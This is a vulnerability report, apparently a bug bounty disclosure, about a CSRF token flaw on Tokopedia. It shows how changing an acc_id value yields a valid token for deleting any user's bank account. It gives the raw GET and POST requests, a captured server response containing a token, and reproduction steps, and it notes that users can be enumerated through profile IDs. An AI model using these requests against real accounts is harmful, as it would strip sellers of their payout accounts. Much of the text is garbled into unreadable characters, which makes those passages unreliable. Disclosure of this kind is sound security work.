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. ABSTRACT

The simplicity in receiving payment from the online sales is certainly a dream for every seller. For

I OGdzk t ATAY3 (GKA& aAYLIX AOAGEET ¢212LISRAL KI & f I dzy
could be used to receivéhe sales payment after everyansaction processes to the buyer is
conducted (in this case, after the buyer receive the item and confirm the reception of the related

item). In the process, this feature itself could be used by the user to add more than one account that
couldbeusedakdr @ YSYy (i aNBOSADISNE
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Figurel "Tambah Rekening Bankeature inTokopedia

Besides adding bank account to the personal account, the user is also allowed to delete the listed
bank account that might not be used anymore in doing transaction. In the procedsatkeccount

RSEtSGA2Y AGaStT Aa LINE bfeor@l&tdd todhe CSRF Taken)Ssy withoty ISy
1Y26Ay3 YR dzaAy3a (GKS dzaSNRa G21Syx GKS RSt SGAZ2Yy
However, the problem occurs when the token from every user could be used by other users. In other
g2NRax ¢212LISRAL K lord lyhitation #o YhieJtokeW Shat tvGuRl bei geriedated
automatically from the system for its users. By utilizing this vulnerability, an Attacker could be able

to deleteall listed bank accounts that are registered by the users.
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[I. INTRODUCTION

2.1.UsernameVSBankAccount Name

There are two main different things in responding user enumeration context in this report. In
general, user enumeration could be easily conducted in Tokopedia by only visiting

https://www.tokopedia.com/peopleXwith X as a variable that could be changed with numbers. For

example, the value 011339854is a value that indicates the account is owned by a user with

dzZa SNY I ' YS dae2y3iArAéd 'a ¢S OFy aSSs ndngeSd\@ thelzd SNJ 2 N
dzZa SNY I YSSE a2 adzZaSNYIYS SydzYSNIdA2yé ¢g2dzZ RyQd oS
However, this thing is different if we talk about the name of a bank account for the seller. Because
GKAA YyIYS g2ddZ R 0S jdzA G S A Y LJubthsk ¢f trandfeyfily pOocsizt Ry Qi

after the goods are sold.

To put it simply, username calibe falsified but bank account name would be hard (not unable) to

be falsified for the sellers that want to utilized the easiness in receiving payment.

2.2.Cross Site Request Forgasy/ { wCU0 ¢21 Sy +{ ¢212LISRAI Qa ¢2]

DSYSNIttesz /{wC Aéad Il ydzaSNDI{02 RXI &2 WSeMNIOSH (GKI G
web based application by utilizing the circumstance of the victim that is being authorized (login). In
general, this kind of attack could be used because the absence of authentication procesyia do

change or the absence of unique token that is allowed to process the related matter (the uniqueness

2F GKS G21Sy Aa dzadzftfte IABSYy a2 GKS dzZa SN g2 dz R
are not quite significant)

In the Tokopedia site, 3nchanges which are conducted by the user such as changing profile, adding

bank account, adding address, or deleting the added list; is always followed by the token that is

generated automatically by the system. The difference is, when adding a bank accalvanging

profile, the user firstly needs tmput password or sending OTP

[ll. SUMMARY OFSSUE

As it has been delivered before, the security problem in this report is related to the vulnerability that
arttz26aé +y aaGF O] SN liagk accQintd tidat hdve bezn réyiSter&libypthel £ £ f
dzZASNER 6SallSOArfte aStftSNBRO Ay ¢212LISRAF airidisSeo L
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https://www.tokopedia.com/people/x

this vulnerability is the Attacké® 2 S a y Qaiy infefagtiBns from the user because they only need
to change theacc_id with their desired value. In other context, the utilization of this vulnerability
O2dz R Ffa2 3IAGS AYTF2NNIGA2Yy (G2 GKS 1 GGFO1SNI Fo62c

IV. INFORMATION AND SITUATION OF THIS POC

To be able to understand thexisted problem, this section will be -explaining the problem
specifically about some information which is related to the general running process or even the root

of the existed problem.

When a member tries to delete their listed bank account, then theer is indirectly sending two

requests, whiclare a request for deletingnd a request for confirming the deletion.
The sent request for the deletion process is as follows:

GET /ajax/people
4.pl?action=show_dialog_delete_bank_account&accXisxXXX&=YYYYYYYYYWNTP/1.1
Host: www.tokopedia.com

Connection: close

CacheControl: maxage=0

Accept: text/html, */*; g=0.01

X-RequesteeWith: XMLHttpRequest

UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11 6) AppleWebKit/537.36 (KHTML
Gecko)XChrome/52.0.2743.116 Safari/537.36

DNT: 1

Referer: https://www.tokopedia.com/peoplel {hank
AcceptEncoding: gzip, deflate, sdch, br
AcceptLanguage: etyS,en;q=0.8

Cookiesome of cookies value here

Tablel Request for Deleting

Toke/ Q& t NRoOot SY G KIlyiNBAZ deh ® (8 Ra EtSiik DECk Wsgr EBu|, pred|25LE S Q&



R Dicky

Biodata Diri Daftar Alamat Rekening Bank Notifikasi Login Seal
< Tambah Rekening Bank
« PT. BANK RAKYAT BANK BRI
INDONESIA (PERSERO)
Nama Pemilik Rekening: Nomor Rekening:
¢ Ubah ( W Hapus Nama Korban 122301000199999
Nama Bank: Cabang:

PT. BANK RAKYAT INDONESIA (PERSERO) Kantor Cabang Korban

Figure2 Request for Deleting

Whereas the sent request for confirming the deletion process is as follows:

POST /ajax/peopté.pl HTTP/1.1

Host: www.tokopedia.com

Connection: close

ContentLength: 133

Accept: application/json, text/javascript, */*; q=0.01
Origin: https://www.tokopedia.com
X-RequesteeWith: XMLHttpRequest

UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11 6) AppleWebKit/537.36 (KHTML, li
Gecko) Chrome/52.0.2743.116 Safari/537.36

ContentType: applicationswww-form-urlencoded; charset=UT&
DNT: 1

Referer: https://www.tokopedia.com/people?Z 777 1aank
AcceptEncoding: gzip, deflate, br

AcceptLanguage: etyS,en;q=0.8

Cookiesome of cookies value here

token= &acc_idXXXXXX&counter=&click_name=submit&act
on=event_dialog_delete_bank_account&use_master=1

Table2 Request for DeletinGonfirmation
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& C' @ https://www.tokopedia.com/people/11340826/bank v

Hapus Akun Bank

Apakah Anda yakin ingin menghapus akun Nama Korban?

Figure3 Request for Deleting Confirmation

I FGSNI GKS dzaSNJ OK224Sa 2LIiA2Y G, lé3x GKS tAa0GSR ¢

V. STEP TO REPRODUCE

5.1. Specify and make sure the account whose bank account wants to be deleted. In this context,
Attacker (Yongkip  yia G2 RSEtSGS GKS tAaiSR o6lyl | 002d:
acc_iddB63129@ his step could be conducted by sending request accordingatie 1€

sectionlV.

When the process is being conducted, then a respond would be send gither in the form
2F ol yl F00O2dzyld 2¢6ySNRa yIYS FyR GKS (21Sy

account.
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Go Cancel <|» > |v Target: https:/ /www.tokopedia.com @ @

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML TRenderl

GET BTTP/1.1 200 OK

A A
/ajax/people-4.pl?action=show_dialog_delete_bank_account&acc_id= Server: nginx "
3631290kv=1471496957718 HATTP/1.1 E) Date: Thu, 18 hug 2016 05:09:42 GMT
Bost: www.tokopedia.com Content-Type: text/html; charset=utf-8
Oser-Egent+ Mozilla/5.0 (Macintosh; Intel Mac 05 X - 10+117 Connection: close
rv:48.0) Gecko/20100101 Firefox/48.0 Vary: Accept-Encoding
hecept: text/html, */%; g=0.01 Set-Cookie: _SID_Tokopedia_=
Accept-Language: en-05,en;g=0.5 domain=.tokopedia.com; path=/; expires=Thu, 18-Rug-2016
Accept-Encoding: gzip, deflate, br 17:09:31 GMT; BttpOnly
DHNT: 1 Set-Cookie: 1l=1; domain=.tokopedia.com; path=/; expires=Thu,
X-Requested-With: XMLBttpRequest 18-Aug-2016 17:09:31 GMT; HttpOnly
Referer: https://www.tokopedia.com/people/11339854/bank Expires: Mon, 17 Aug 2009 00:00:00 GMT
Cookie: 1l=1; _SID_Tokopedia_ ; Cache-control: private, no-cache, no-store, must-revalidate,

post-check=0, pre-check=0
Pragma: no-cache

¥-Content-Type-Options: nosniff

¥-X55-Protection: 1; mode=block

Cache-Contrecl: no-cache, no-store, must-revalidate
Strict-Transport-Security: max-age=0
Content-Length: 873

<div><form method="post'-id="delete-address”
class="form-horizontal” snctype="multipart/form-data”
action="/ajax/people-4.pl"><input type="hidden”
value="53b2df11375cc7d196170d845c68d77e"” name="token ><input
type="hidden” name="acc_id" value="3631290"><input
type="hidden” name="counter” value=""><div-Apakah Anda yakin
ingin menghapus akun Nama Korban?</div><div
class="dialog-footer"><button type="button” name="cancel"”
value="cancel™ elass="btn mr-5">Tidak</button><button
type="submit” name="submit"” wvalue="submit"” class="btn
btn-action”>¥a</button></div></form></div><script
Connection: close type="text/javascript”>tokepedia.dialog_title( 'Hapus Akun
Bank');$§( f#delete-address’').submit(function() {var Sform =

Figure4 Request for Deleting the Account
In the left picture, we could see that the Attacker (Yongki in this)ciiEes to access the bank
 O02dzy i ydzyo SNJ 2 F &ct @Be32aovliek thisirequest istsehtDdoth& R A y
server will send a response to the user in formieama pemilik rekening and the value of

the dtokené that can be used to deleted ¢hreferred bank account.

52. ! FAOSNI GKFGX GKS 1 ddGFrO1SNI 2yte ySSRa (2av aSyR

by using the value of the token that is retrieved by the Attacker.

Inconsistent
Response but Succes
G2 5SSt SaAr

Figure5 Response from Server
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